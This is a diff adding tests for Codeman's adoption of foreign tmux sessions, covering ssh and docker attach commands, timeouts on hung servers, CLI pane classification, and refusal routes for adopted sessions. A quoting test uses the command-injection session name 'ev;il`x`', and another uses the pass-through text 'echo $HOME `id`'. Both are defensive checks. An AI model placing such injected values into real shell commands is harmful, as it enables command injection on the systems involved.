+    expect(cmd).not.toContain('attach-session');
+    expect(cmd).not.toMatch(/new-session[^;]*\|\|/);
+  });
+
+  it('clears OUR OWN stale view before creating it, and only ours', () => {
+    // The view name is derived from Codeman's own session id, so a session with
+    // that name can only ever be ours. `=` keeps the match exact, and killing a
+    // session in a group removes only that session (measured: the owner's `work`
+    // survived its grouped view being killed).
+    const cmd = buildForeignTmuxInvocation(target);
+    expect(cmd).toContain("kill-session -t '=codeman-view-abc12345'");
+    expect(cmd).not.toContain("kill-session -t '=work'");
+    const kill = cmd.indexOf('kill-session');
+    expect(kill).toBeGreaterThan(cmd.indexOf('has-session'));
+    expect(kill).toBeLessThan(cmd.indexOf('new-session'));
+    // A missing stale view is the normal case, never a reason to abort.
+    expect(cmd).toMatch(/kill-session[^;]*2>\/dev\/null \|\| true/);
+  });
+
+  it('stays on ONE line', () => {
+    expect(buildForeignAttachCommand(target)).not.toContain('\n');
+  });
+
+  it('uses no command substitution, the rule of every launch chain here', () => {
+    // Same rule the docker launch chain states, and the same trap that emptied
+    // `$TMUX_TMPDIR` during development.
+    expect(buildForeignAttachCommand(target)).not.toContain('$(');
+  });
+
+  it('shell-quotes every caller-supplied value', () => {
+    const nasty = buildForeignAttachCommand({
+      socketPath: '/tmp/a b',
+      targetSession: 'ev;il`x`',
+      viewSession: 'codeman-view-1',
+    });
+    expect(nasty).toContain("'/tmp/a b'");
+    // The metacharacters survive only INSIDE quotes, never as shell syntax. Checked
+    // by stripping every single-quoted span and looking at what is left, rather than
+    // by what character precedes the name: the "session is gone" message quotes the
+    // name too, with a space in front of it, and a lookbehind assertion reads that
+    // as an escape when it is not one.
+    const outsideQuotes = nasty
+      .split("'")
+      .filter((_, i) => i % 2 === 0)
+      .join(' ');
+    expect(outsideQuotes).not.toContain('ev;il');
+    expect(outsideQuotes).not.toContain('`');
+  });
+
+  describe('docker', () => {
+    const cmd = buildForeignDockerAttachCommand({
+      ...target,
+      dockerBase: 'docker --context ci',
+      containerName: 'my-box',
+    });
+
+    it('looks, then execs — never create, never start', () => {
+      // An adopted container belongs to the user. Mirrors the adopted branch of
+      // buildDockerLaunchCommand, which fails closed rather than mutating it.
+      expect(cmd).toContain('inspect');
+      expect(cmd).toContain('exec -it');
+      expect(cmd).not.toMatch(/\bdocker[^;]*\bstart\b/);
+      expect(cmd).not.toMatch(/\bdocker[^;]*\bcreate\b/);
+      expect(cmd).not.toMatch(/\bdocker[^;]*\brun\b/);
+    });
+
+    it('refuses a stopped container with a message instead of starting it', () => {
+      expect(cmd).toContain('State.Running');
+      expect(cmd).toMatch(/not running/);
+    });
+
+    it('carries the engine flags it was given', () => {
+      expect(cmd).toContain('docker --context ci');
+    });
+
+    it('gives the client the same terminal an owned container gets', () => {
+      // `docker exec -it` defaults to TERM=xterm, which held the tab to 8 colours.
+      expect(cmd).toContain("exec -it -e TERM=xterm-256color -e COLORTERM=truecolor 'my-box' sh -lc");
+    });
+  });
+
+  describe('remote', () => {
+    const cmd = buildForeignRemoteAttachCommand({
+      ...target,
+      sshArgs: ['ssh', '-o BatchMode=yes', '-o ConnectTimeout=10', '-p 2222'],
+      sshTarget: 'me@host',
+    });
+
+    it('requests a PTY right after BatchMode, like buildRemoteAttachCommand', () => {
+      // Interactive tmux needs a TTY; the position matches the existing remote
+      // attach builder so the two connect on identical terms.
+      expect(cmd.startsWith('ssh -o BatchMode=yes -t ')).toBe(true);
+    });
+
+    it('keeps every connection option it was handed', () => {
+      expect(cmd).toContain('-p 2222');
+      expect(cmd).toContain('me@host');
+    });
+
+    it('single-quotes the whole remote invocation', () => {
+      expect(cmd).toMatch(/me@host '.*tmux -S .*'$/);
+    });
+  });
+});
+
+describe('the docker and ssh transports', () => {
+  const host: RemoteHost = {
+    id: 'h1',
+    label: 'Build box',
+    host: 'build.example',
+    username: 'me',
+  } as RemoteHost;
+  const dockerTarget = {
+    hostId: 'd1',
+    label: 'ci',
+    containerName: 'box',
+    base: { engine: 'docker' as const, context: 'my ctx', daemonHost: 'tcp://10.0.0.1:2375' },
+  };
+
+  it('hands execFile a docker argv with no shell quoting in it', () => {
+    // `docker --context "'my ctx'"` is what the shell-quoted builder gave execFile:
+    // "context not found", so every container behind a context read as unreachable.
+    const argv = foreignDockerProbeArgv(dockerTarget);
+    expect(argv.slice(0, 5)).toEqual(['docker', '--context', 'my ctx', '-H', 'tcp://10.0.0.1:2375']);
+    expect(argv.slice(5, 9)).toEqual(['exec', 'box', 'sh', '-lc']);
+    for (const token of argv) expect(token).not.toContain("'");
+  });
+
+  it('runs the ssh probe in sh with the remote tmux PATH, so a timeout reaches ssh', () => {
+    const cmd = foreignRemoteProbeCommand(host);
+    expect(cmd.startsWith('exec ssh ')).toBe(true);
+    expect(cmd).toContain('me@build.example');
+    expect(cmd).toContain('/opt/homebrew/bin');
+    expect(cmd).toContain('exec sh -c');
+    expect(cmd).toContain('list-panes');
+  });
+
+  it('puts the same PATH and sh on the ssh attach', () => {
+    const cmd = buildForeignRemoteAttachCommand({
+      socketPath: '/tmp/tmux-1000/default',
+      targetSession: 'work',
+      viewSession: 'codeman-view-abc12345',
+      sshArgs: ['ssh', '-o BatchMode=yes'],
+      sshTarget: 'me@host',
+    });
+    expect(cmd).toContain('/opt/homebrew/bin');
+    expect(cmd).toContain('exec sh -c');
+  });
+
+  it('kills the in-container view by exact name', () => {
+    // Without `=` tmux prefix-matches, and the view is grouped with the owner's work.
+    expect(
+      buildForeignDockerViewKillCommand({
+        dockerBase: 'docker',
+        containerName: 'box',
+        socketPath: '/tmp/tmux-0/default',
+        viewSession: 'codeman-view-abc12345',
+      })
+    ).toContain("kill-session -t '=codeman-view-abc12345'");
+  });
+
+  describe('buildAdoptSessionCommand', () => {
+    const adopt: SessionAdopt = {
+      location: 'local',
+      socketPath: '/tmp/tmux-1000/default',
+      targetSession: 'work',
+      viewSession: '',
+    };
+
+    it('attaches in place for a local target, and names the view after our session', () => {
+      const cmd = buildAdoptSessionCommand(adopt, 'abc12345-rest');
+      expect(cmd).toContain("has-session -t '=work'");
+      expect(cmd).toContain("-s 'codeman-view-abc12345'");
+      expect(cmd).not.toMatch(/\b(ssh|docker)\b/);
+    });
+
+    it('goes through the saved engine for a container, shell-quoted for the launch string', () => {
+      const cmd = buildAdoptSessionCommand(
+        {
+          ...adopt,
+          location: 'docker',
+          docker: { hostId: 'd1', label: 'ci', engine: 'podman', containerName: 'box', context: 'my ctx' },
+        },
+        'abc12345'
+      );
+      expect(cmd).toContain("podman --context 'my ctx' exec -it ");
+      expect(cmd).toContain("'box' sh -lc");
+    });
+
+    it('goes through the saved connection for an ssh host', () => {
+      const cmd = buildAdoptSessionCommand(
+        {
+          ...adopt,
+          location: 'remote',
+          remote: { hostId: 'h1', label: 'b', host: 'h.example', username: 'me', port: 2222 },
+        },
+        'abc12345'
+      );
+      expect(cmd.startsWith('ssh -o BatchMode=yes -t ')).toBe(true);
+      expect(cmd).toContain('me@h.example');
+      expect(cmd).toContain('2222');
+    });
+  });
+
+  describe('the ssh attach survives every shell on its way', () => {
+    // bash -c '<line>' at respawn-pane, the single quotes around the remote command,
+    // the remote login shell, then sh -c. Stand-ins for ssh and tmux at the two ends
+    // show what a real tmux would receive, which no substring check can.
+    let home: string;
+    let bin: string;
+
+    beforeEach(() => {
+      home = mkdtempSync(join(tmpdir(), 'foreign-ssh-'));
+      // $HOME/bin, because the remote PATH line puts it ahead of a real tmux.
+      bin = join(home, 'bin');
+      mkdirSync(bin);
+      // The real thing hands its LAST argument to the remote login shell.
+      writeFileSync(join(bin, 'ssh'), '#!/bin/sh\nfor last; do :; done\nexec sh -c "$last"\n', { mode: 0o755 });
+      writeFileSync(join(bin, 'tmux'), '#!/bin/sh\nfor a; do printf "<%s>" "$a"; done\nprintf "\\n"\n', {
+        mode: 0o755,
+      });
+    });
+
+    afterEach(() => {
+      rmSync(home, { recursive: true, force: true });
+    });
+
+    it('delivers a spaced name as one argument to each tmux command', () => {
+      const launch = buildForeignRemoteAttachCommand({
+        socketPath: '/tmp/tmux-1000/my sock',
+        targetSession: 'my work',
+        viewSession: 'codeman-view-abc12345',
+        sshArgs: ['ssh', '-o BatchMode=yes'],
+        sshTarget: 'me@host',
+      });
+      const out = execSync(`bash -c ${bashCArg(launch, true)}`, {
+        encoding: 'utf-8',
+        env: { ...process.env, HOME: home, PATH: `${bin}:${process.env.PATH}` },
+      });
+      expect(out).toContain('<-S></tmp/tmux-1000/my sock><has-session><-t><=my work>');
+      expect(out).toContain('<new-session><-t><my work><-s><codeman-view-abc12345><;><set-option>');
+    });
+
+    it('leaves the PATH line for the far end to expand', () => {
+      // In double quotes on execSync's `sh -c`, single quotes protect nothing, so `$HOME`
+      // and `$PATH` used to become THIS host's values and a tmux in the remote
+      // `~/.local/bin` was found by discovery and missed here.
+      writeFileSync(join(bin, 'ssh'), '#!/bin/sh\nfor last; do :; done\nprintf "%s\\n" "$last"\n', { mode: 0o755 });
+      const launch = buildForeignRemoteAttachCommand({
+        socketPath: '/tmp/tmux-1000/default',
+        targetSession: 'work',
+        viewSession: 'codeman-view-abc12345',
+        sshArgs: ['ssh', '-o BatchMode=yes'],
+        sshTarget: 'me@host',
+      });
+      const out = execSync(`bash -c ${bashCArg(launch, true)}`, {
+        encoding: 'utf-8',
+        env: { ...process.env, HOME: home, PATH: `${bin}:${process.env.PATH}` },
+      });
+      expect(out).toContain('$HOME/.local/bin');
+      expect(out).toContain(':$PATH"');
+      expect(out).not.toContain(home);
+    });
+  });
+
+  describe('the attach line as the argument of bash -c', () => {
+    const echoed = (text: string) => execSync(`printf '%s' ${bashCArg(text, true)}`, { encoding: 'utf-8' });
+
+    it('hands the text through one sh parse untouched', () => {
+      const text = 'echo $HOME `id` "q" \\ and \\$x';
+      expect(echoed(text)).toBe(text);
+    });
+
+    it('keeps a single quote and a real newline', () => {
+      // Double quotes with JSON escaping left a newline as the two characters `\n`.
+      const text = "it's\n'\\''$PATH";
+      expect(echoed(text)).toBe(text);
+    });
+
+    it('is what both launch sites use', () => {
+      // Create and respawn build the same string. Fixing only one would leave a wrapper
+      // whose first attach works and whose re-attach after a restart does not. What each
+      // one hands bash is measured in tmux-manager.test.ts.
+      const src = readFileSync(join(import.meta.dirname, '../src/tmux-manager.ts'), 'utf-8');
+      expect(src.match(/bashCArg\(launchCmd, !!\(remote \|\| docker \|\| adopt\)\)/g)).toHaveLength(2);
+      expect(src.match(/bash -c \$\{JSON\.stringify\(launchCmd\)\}/g)).toBeNull();
+    });
+  });
+});
+
+describe('a tmux server that stops answering', () => {
+  // A real server SIGSTOPped on a scratch socket cost 12 s, every row on the machine and
+  // a stuck client per scan. The stand-in tmux below hangs the same way for one socket.
+  // /tmp rather than tmpdir(): a unix socket path has to fit in about 100 bytes.
+  let root: string;
+  let bin: string;
+  let servers: Server[];
+
+  const listen = (path: string) =>
+    new Promise<Server>((resolve, reject) => {
+      const server = createServer();
+      server.once('error', reject);
+      server.listen(path, () => resolve(server));
+    });
+
+  beforeEach(async () => {
+    root = mkdtempSync('/tmp/cmfp-');
+    bin = join(root, 'bin');
+    const sockets = join(root, `tmux-${process.getuid?.() ?? 0}`);
+    mkdirSync(bin);
+    mkdirSync(sockets);
+    servers = await Promise.all(['a', 'hung', 'z'].map((name) => listen(join(sockets, name))));
+    writeFileSync(
+      join(bin, 'tmux'),
+      [
+        '#!/bin/sh',
+        `echo "$*" >> ${root}/calls`,
+        'case "$*" in *"/hung "*) exec sleep 30 ;; esac',
+        'case "$*" in *has-session*) exit 0 ;; esac',
+        'for a; do case "$a" in */tmux-*) S=$a ;; esac; done',
+        `printf 'CMFP\\t%s\\t7\\t0\\t1\\t100\\t0\\t%%%%0\\tbash\\twork\\t/srv\\n' "$S"`,
+      ].join('\n'),
+      { mode: 0o755 }
+    );
+  });
+
+  afterEach(async () => {
+    await Promise.all(servers.map((s) => new Promise((resolve) => s.close(resolve))));
+    rmSync(root, { recursive: true, force: true });
+  });
+
+  const probe = (script: string) =>
+    runForeignProbe(['env', `TMUX_TMPDIR=${root}`, `PATH=${bin}:${process.env.PATH}`, 'sh', '-c', script]);
+
+  it('costs only its own rows, and the scan still finishes', async () => {
+    const startedAt = Date.now();
+    const run = await probe(buildForeignProbeScript());
+    expect(Date.now() - startedAt).toBeLessThan(6000);
+    expect(run.ok).toBe(true);
+    const out = parseForeignProbeOutput(run.stdout);
+    expect(out.panes.map((p) => p.socketPath.split('/').pop())).toEqual(['a', 'z']);
+    expect(out.hungSockets.map((s) => s.split('/').pop())).toEqual(['hung']);
+    // The script ran on past the hung socket to the marker that ends the sweep.
+    expect(run.stdout).toContain('CMFQ');
+    // ⚠️ The point of the ping: a server that missed it never receives our stdout.
+    const calls = readFileSync(join(root, 'calls'), 'utf-8');
+    expect(calls).toMatch(/\/hung has-session/);
+    expect(calls).not.toMatch(/\/hung list-panes/);
+  });
+
+  it('never lists, let alone starts, a server on a stale socket', async () => {
+    writeFileSync(
+      join(bin, 'tmux'),
+      `#!/bin/sh\necho "$*" >> ${root}/calls\ncase "$*" in *has-session*) exit 1 ;; esac\n`,
+      { mode: 0o755 }
+    );
+    await probe(buildForeignProbeScript());
+    const calls = readFileSync(join(root, 'calls'), 'utf-8');
+    expect(calls).toMatch(/has-session/);
+    expect(calls).not.toMatch(/list-panes|new-session|start-server/);
+  });
+
+  it('says so in a note, and keeps the rows it did read', () => {
+    const stdout = [
+      'CMFS /tmp/tmux-0/default',
+      'CMFP\\t/tmp/tmux-0/default\\t900\\t0\\t1\\t1788092500\\t0\\t%1\\tbash\\tscratch\\t/home/me',
+      'CMFH /tmp/tmux-0/stopped',
+      'CMFH /tmp/tmux-0/codeman-other',
+      'CMFQ',
+    ].join('\n');
+    const notes: string[] = [];
+    const rows = candidatesFrom(stdout, 'local', 'local', {}, 'local', notes);
+    expect(rows.map((r) => r.sessionName)).toEqual(['scratch']);
+    // Another Codeman's socket is not a session this list would ever show.
+    expect(notes).toEqual(['local: 1 tmux server(s) did not answer, sessions on them are not listed']);
+    // The adopt route reads a note with `skipped` in it as a refusal rather than as a
+    // location it could not reach, and this one is the second kind.
+    expect(notes[0]).not.toMatch(/skipped/);
+  });
+});
+
+describe.skipIf(spawnSync('tmux', ['-V']).status !== 0)('a real stopped tmux server', () => {
+  it('costs a scan the ping and nothing more, though it holds stdout past its client', async () => {
+    // The stand-in above cannot show this. Only a real server takes a dup of the client's
+    // stdout, and that is what kept a scan waiting after the client was dead.
+    const root = mkdtempSync('/tmp/cmfr-');
+    const sockets = join(root, `tmux-${process.getuid?.() ?? 0}`);
+    mkdirSync(sockets);
+    const stopped = join(sockets, 'stopped');
+    const env = { ...process.env, TMUX: '' };
+    const tmux = (...args: string[]) => spawnSync('tmux', ['-S', stopped, ...args], { encoding: 'utf-8', env });
+    let serverPid = 0;
+    try {
+      expect(tmux('-f', '/dev/null', 'new-session', '-d', '-s', 'held', 'sleep 60').status).toBe(0);
+      serverPid = Number(tmux('display-message', '-p', '#{pid}').stdout);
+      expect(serverPid).toBeGreaterThan(0);
+      process.kill(serverPid, 'SIGSTOP');
+
+      const startedAt = Date.now();
+      const run = await runForeignProbe(['env', `TMUX_TMPDIR=${root}`, 'sh', '-c', buildForeignProbeScript()]);
+
+      expect(Date.now() - startedAt).toBeLessThan(6000);
+      expect(run.ok).toBe(true);
+      const out = parseForeignProbeOutput(run.stdout);
+      expect(out.hungSockets).toEqual([stopped]);
+      expect(out.panes).toEqual([]);
+    } finally {
+      if (serverPid > 0) process.kill(serverPid, 'SIGCONT');
+      tmux('kill-server');
+      rmSync(root, { recursive: true, force: true });
+    }
+  }, 20000);
+});
+
+describe('runForeignProbe', () => {
+  const alive = (pid: number) =>
+    spawnSync('ps', ['-o', 'stat=', '-p', String(pid)], { encoding: 'utf-8' }).stdout.trim();
+
+  it('reaches the whole process group at the deadline and keeps what was read', async () => {
+    // A timeout that signals only `sh` left its tmux child stuck on the hung server, one
+    // more per scan, for as long as the home screen stayed open.
+    const run = await runForeignProbe(['sh', '-c', 'echo first; sleep 60 & echo $!; wait'], { timeoutMs: 400 });
+    expect(run.ok).toBe(false);
+    const [first, pid] = run.stdout.trim().split('\n');
+    expect(first).toBe('first');
+    await vi.waitFor(() => expect(alive(Number(pid))).toMatch(/^(Z.*)?$/), { timeout: 2000 });
+  });
+
+  it('answers at the deadline even when something outside the group holds the pipe', async () => {
+    // What a stopped tmux server does. `setsid` is the stand-in for it: out of the group,
+    // so the kill misses it, and it keeps the write end of stdout open.
+    if (spawnSync('sh', ['-c', 'command -v setsid']).status !== 0) return;
+    const startedAt = Date.now();
+    const run = await runForeignProbe(['sh', '-c', 'echo first; setsid sleep 3 & exit 0'], { timeoutMs: 300 });
+    expect(Date.now() - startedAt).toBeLessThan(2000);
+    expect(run).toEqual({ stdout: 'first\n', ok: false });
+  });
+
+  it('stops a probe that floods instead of holding it in memory', async () => {
+    const run = await runForeignProbe(['sh', '-c', 'while :; do echo aaaaaaaa; done'], {
+      maxBytes: 4096,
+      timeoutMs: 5000,
+    });
+    expect(run.ok).toBe(false);
+    expect(run.stdout.length).toBeLessThanOrEqual(4096);
+  });
+
+  it('keeps the output of a command that failed', async () => {
+    expect(await runForeignProbe(['sh', '-c', 'echo partial; exit 3'])).toEqual({ stdout: 'partial\n', ok: false });
+  });
+
+  it('answers rather than throws when the command cannot start', async () => {
+    expect(await runForeignProbe(['/nonexistent/probe'])).toEqual({ stdout: '', ok: false });
+  });
+});
+
+describe('foreignCliSignatures', () => {
+  it('covers every stock CLI that declares a binary — including the one the hand-written table missed', () => {
+    // The table this replaced listed eight CLI ids by hand and had already gone
+    // stale: `omp` shipped without a signature, so a hand-started omp pane was
+    // classified `shell`. Deriving from `discovery.binaries` makes that class of
+    // drift impossible rather than merely fixed once.
+    const covered = new Set(foreignCliSignatures().map((sig) => sig.mode));
+    const expected = STOCK_CLIS.filter((e) => e.discovery.binaries.length > 0).map((e) => e.id as string);
+    expect(expected).toContain('omp');
+    for (const id of expected) expect(covered).toContain(id);
+  });
+
+  it('leaves shell out — it declares no binary and is the FALLBACK answer', () => {
+    expect(foreignCliSignatures().some((sig) => sig.mode === 'shell')).toBe(false);
+  });
+
+  it('orders longest binary name first, so a two-letter name cannot win early', () => {
+    // `pi` matches `(^|/)pi(\s|$)`, which is the loosest rule in the table. If it
+    // were tried before `opencode`'s, nothing would break on these two names, but
+    // the ordering is the only thing standing between a future one-letter binary
+    // and every pane on the machine.
+    const names = foreignCliSignatures().map((sig) => sig.mode);
+    expect(names.indexOf('pi')).toBeGreaterThan(names.indexOf('opencode'));
+  });
+
+  it('classifies an omp pane as omp rather than shell', () => {
+    const empty = { byParent: new Map(), argvByPid: new Map() };
+    expect(classifyForeignPaneMode({ panePid: 1, paneCurrentCommand: 'omp' }, empty).mode).toBe('omp');
+  });
+
+  it('still finds claude under its own dot-directory node launcher', () => {
+    // The derived "node launcher" shape has to reproduce what claude's hand-written
+    // `[/\\]\.?claude[/\\][^\s]*cli\.js` rule covered, or every claude installed
+    // the normal way (a `node ~/.claude/local/.../cli.js` argv) silently reads as shell.
+    const argv = 'node /home/u/.claude/local/node_modules/@anthropic-ai/claude-code/cli.js';
+    const probe = { byParent: new Map([[7, [8]]]), argvByPid: new Map([[8, argv]]) };
+    expect(classifyForeignPaneMode({ panePid: 7, paneCurrentCommand: 'node' }, probe).mode).toBe('claude');
+  });
+
+  it('does not let a binary name match inside a longer command', () => {
+    const empty = { byParent: new Map(), argvByPid: new Map() };
+    expect(classifyForeignPaneMode({ panePid: 1, paneCurrentCommand: '/usr/bin/pip install x' }, empty).mode).toBe(
+      'shell'
+    );
+  });
+});
+
+describe('classifyForeignPaneMode truncation reporting', () => {
+  it('reports a truncated descendant walk instead of silently answering shell', () => {
+    // A capped walk returns "nothing matched", which is byte-identical to the
+    // answer for a real shell. Without the warning there is nothing anywhere to
+    // tell a wide process tree apart from a plain bash pane.
+    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
+    try {
+      const byParent = new Map<number, number[]>();
+      byParent.set(
+        1,
+        Array.from({ length: PROC_WALK_MAX_NODES + 10 }, (_, i) => i + 100)
+      );
+      const result = classifyForeignPaneMode(
+        { panePid: 1, paneCurrentCommand: 'bash' },
+        { byParent, argvByPid: new Map() }
+      );
+      expect(result.mode).toBe('shell');
+      expect(warn).toHaveBeenCalled();
+      expect(String(warn.mock.calls[0]?.[0])).toMatch(/nodes cap|-nodes/);
+    } finally {
+      warn.mockRestore();
+    }
+  });
+});
+
+describe('hooksAvailableForMode for an adopted session', () => {
+  it('refuses claude when the process was adopted', () => {
+    // Adoption asks who STARTED the process. Codeman never installed its hooks
+    // block in that workspace, so answering by mode would dress an infinite wait
+    // up as a timeout.
+    expect(hooksAvailableForMode('claude')).toBe(true);
+    expect(hooksAvailableForMode('claude', { adopted: true })).toBe(false);
+  });
+
+  it('derives `adopted` from the session, so every call site inherits it', () => {
+    expect(sessionHookOptions({ adopt: { targetSession: 'work' } }).adopted).toBe(true);
+    expect(sessionHookOptions({}).adopted).toBe(false);
+  });
+});

test/frontend-cli-no-id-branching.test.ts

@@ -36,6 +36,8 @@ const SCANNED_FILES = [
   // The command palette's new-session agent picker reads its agents from the
   // injected catalog; panels-ui.js carries no id branch, so keep it that way.
   'panels-ui.js',
+  // A row's mode comes from the same catalog, never from a list of ids here.
+  'foreign-sessions.js',
 ];
 
 /**

test/git-fetch-scheduler.test.ts

@@ -263,6 +263,8 @@ describe('who runs', () => {
     const h = harness([
       VIEW('ssh', { remote: { host: 'x' } }),
       VIEW('docker', { docker: { container: 'c' } }),
+      // A wrapper around a foreign tmux session sits on the neutral `/tmp`, no repository of its own.
+      VIEW('adopted', { adopt: { location: 'local' } }),
       VIEW('local'),
     ]);
     await h.scheduler.tick(0);

test/mocks/mock-route-context.ts

@@ -157,6 +157,10 @@ export function createMockRouteContext(options?: {
       createSession: vi.fn(),
       killSession: vi.fn(),
       listSessions: vi.fn(() => []),
+      // A DIFFERENT method from listSessions, and the adoption routes call this
+      // one. Missing it is not a type error — the handler throws and the route
+      // answers 500, which reads as a broken endpoint rather than a broken mock.
+      getSessions: vi.fn(() => []),
       getStats: vi.fn(() => ({})),
       updateSessionName: vi.fn(() => true),
       getSession: vi.fn(() => null),

test/mocks/mock-session.ts

@@ -11,6 +11,7 @@ import type {
   SessionStatus,
   SessionRemote,
 } from '../../src/types.js';
+import type { SessionAdopt } from '../../src/types/session.js';
 import type { GitFetchStatus } from '../../src/git-fetch.js';
 
 /**
@@ -26,6 +27,15 @@ export class MockSession extends EventEmitter {
    * over ssh instead of with local `fs` (#415).
    */
   remote?: SessionRemote;
+  /**
+   * Mirrors `Session.isAdopted` — true when this session wraps a process SOMEONE
+   * ELSE started (a hand-opened tmux session Codeman attached to). A plain field
+   * rather than a getter over `adopt`, because the routes only ever read the
+   * boolean and the tests only ever need to set it.
+   */
+  isAdopted: boolean = false;
+  /** Mirrors `Session.adopt`, the record the one-wrapper-per-target check keys on. */
+  adopt?: SessionAdopt;
   /** Mirrors Session.attachmentHistory (the attachment panel's source of truth). */
   attachmentHistory: SessionAttachmentHistoryItem[] = [];
   /** Mirrors Session.getAttachmentHistoryForPersist(). */
@@ -402,6 +412,18 @@ export class MockSession extends EventEmitter {
   }
 
   /** Auto-resume on usage limit (token pause control) */
+  autoClearEnabled: boolean = false;
+  autoClearThreshold: number = 0;
+  setAutoClear = vi.fn((enabled: boolean, threshold?: number) => {
+    this.autoClearEnabled = enabled;
+    if (typeof threshold === 'number') this.autoClearThreshold = threshold;
+  });
+  autoCompactEnabled: boolean = false;
+  autoCompactThreshold: number = 0;
+  setAutoCompact = vi.fn((enabled: boolean, threshold?: number) => {
+    this.autoCompactEnabled = enabled;
+    if (typeof threshold === 'number') this.autoCompactThreshold = threshold;
+  });
   autoResumeEnabled: boolean = false;
   autoResumeAt: number | null = null;
   isLimitPaused: boolean = false;

test/paste-image-gc.test.ts

@@ -30,6 +30,16 @@ describe('sweepPasteImagesOnce', () => {
     for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true });
   });
 
+  it('lists nothing for an adopted session, whose folder is the /tmp others may work in', async () => {
+    // The delete path removes what this lists, recursively: closing an adopted tab
+    // must not take the uploads of a real session sitting in that same folder.
+    const workingDir = mkdtempSync(join(tmpdir(), 'codeman-gc-'));
+    dirs.push(workingDir);
+    mkdirSync(join(workingDir, UPLOADS_DIR));
+    expect(await uploadDirs({ workingDir })).toHaveLength(1);
+    expect(await uploadDirs({ workingDir, adopt: { location: 'local' } })).toEqual([]);
+  });
+
   it('ages paste-* files out of both the current and the legacy upload dir', async () => {
     const workingDir = mkdtempSync(join(tmpdir(), 'codeman-gc-'));
     dirs.push(workingDir);

test/reboot-restore.test.ts

@@ -151,6 +151,16 @@ describe('which dead sessions may be rebuilt', () => {
     expect(planRebootRestore(['d'], persisted, () => true).skipped[0].reason).toBe('remote-or-docker');
   });
 
+  it('refuses an adopted session: Codeman never started the process it wrapped', () => {
+    const persisted = {
+      a: persistedSession({
+        id: 'a',
+        adopt: { location: 'local', socketPath: '/tmp/tmux-1000/default', targetSession: 'work', viewSession: 'v' },
+      } as Partial<SessionState> & { id: string }),
+    };
+    expect(planRebootRestore(['a'], persisted, () => true).skipped[0].reason).toBe('adopted');
+  });
+
   it('skips a CLI whose history the claude transcript reader does not understand', () => {
     const persisted = { c: persistedSession({ id: 'c', mode: 'codex' }) };
     expect(planRebootRestore(['c'], persisted, () => true).skipped[0].reason).toBe('unsupported-mode');

test/routes/foreign-adoption-routes.test.ts

@@ -0,0 +1,529 @@
+/**
+ * @fileoverview The HTTP surface of foreign-tmux adoption, and the gates that
+ * keep Codeman from driving a session it did not start.
+ *
+ * An adopted session wraps a process SOMEONE ELSE launched. Its `mode` is
+ * whatever the probe saw — very often `claude` — so every refusal here has to
+ * be its own `isAdopted` check and not a side effect of the external-CLI rule.
+ * The two questions are different ("is this CLI one we drive?" vs "did we start
+ * this process?"), and folding them into one means the day the first loosens,
+ * Codeman silently starts sending `/clear` into someone's live conversation.
+ *
+ * Every refusal is paired with a session Codeman DID start, or a broken
+ * endpoint would satisfy the refusal assertion just as well.
+ *
+ * Port: none (app.inject()).
+ */
+import { mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
+
+// The adopt route RE-RESOLVES the candidate rather than trusting the body, and
+// real discovery is disabled under VITEST, so the success path is unreachable
+// without standing in for it. Everything downstream of the lookup is real.
+const discoverForeignSessions = vi.fn();
+const invalidateForeignCache = vi.fn();
+vi.mock('../../src/foreign-tmux-discovery.js', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../../src/foreign-tmux-discovery.js')>();
+  return {
+    ...actual,
+    discoverForeignSessions: (...a: unknown[]) => discoverForeignSessions(...(a as [])),
+    invalidateForeignCache: () => invalidateForeignCache(),
+    readAllDockerCases: async () => [],
+    readAllRemoteHosts: async () => [],
+  };
+});
+
+import { createRouteTestHarness } from './_route-test-utils.js';
+import { registerSessionRoutes } from '../../src/web/routes/session-routes.js';
+import { registerRespawnRoutes } from '../../src/web/routes/respawn-routes.js';
+import { registerRalphRoutes } from '../../src/web/routes/ralph-routes.js';
+import { registerMuxRoutes } from '../../src/web/routes/mux-routes.js';
+import { registerGitStatusRoutes } from '../../src/web/routes/git-status-routes.js';
+import { adoptTargetIdentity, foreignTargetKey } from '../../src/foreign-tmux.js';
+import type { SessionAdopt } from '../../src/types/session.js';
+
+const SID = 'adopted-1';
+
+// The stand-in defaults to "found nothing", which is what real discovery gives
+// under VITEST — so mocking the module does not change the tests that predate it.
+beforeEach(() => {
+  discoverForeignSessions.mockReset();
+  discoverForeignSessions.mockResolvedValue({ sessions: [], notes: [] });
+  invalidateForeignCache.mockClear();
+});
+
+describe('adopted sessions refuse every auto-op that drives the pane', () => {
+  for (const route of ['auto-clear', 'auto-compact', 'auto-resume']) {
+    it(`refuses POST /api/sessions/:id/${route}`, async () => {
+      const h = await createRouteTestHarness(registerSessionRoutes, { sessionId: SID });
+      (h.ctx._session as unknown as { isAdopted: boolean }).isAdopted = true;
+      const res = await h.app.inject({
+        method: 'POST',
+        url: `/api/sessions/${SID}/${route}`,
+        payload: { enabled: true },
+      });
+      const body = res.json();
+      expect(body.success).toBe(false);
+      expect(body.error).toMatch(/adopted/i);
+      await h.app.close();
+    });
+
+    it(`still allows ${route} on a session Codeman started`, async () => {
+      const h = await createRouteTestHarness(registerSessionRoutes, { sessionId: SID });
+      const res = await h.app.inject({
+        method: 'POST',
+        url: `/api/sessions/${SID}/${route}`,
+        payload: { enabled: true },
+      });
+      expect(res.json().success).toBe(true);
+      await h.app.close();
+    });
+  }
+
+  it('refuses respawn, for a harder reason: it kills and restarts the pane', async () => {
+    const h = await createRouteTestHarness(registerRespawnRoutes, { sessionId: SID });
+    (h.ctx._session as unknown as { isAdopted: boolean }).isAdopted = true;
+    const res = await h.app.inject({ method: 'POST', url: `/api/sessions/${SID}/respawn/start`, payload: {} });
+    expect(res.json().success).toBe(false);
+    expect(res.json().error).toMatch(/adopted/i);
+    await h.app.close();
+  });
+
+  it('refuses Ralph config', async () => {
+    const h = await createRouteTestHarness(registerRalphRoutes, { sessionId: SID });
+    (h.ctx._session as unknown as { isAdopted: boolean }).isAdopted = true;
+    const res = await h.app.inject({
+      method: 'POST',
+      url: `/api/sessions/${SID}/ralph-config`,
+      payload: { maxTodos: 10 },
+    });
+    expect(res.json().success).toBe(false);
+    expect(res.json().error).toMatch(/adopted/i);
+    await h.app.close();
+  });
+
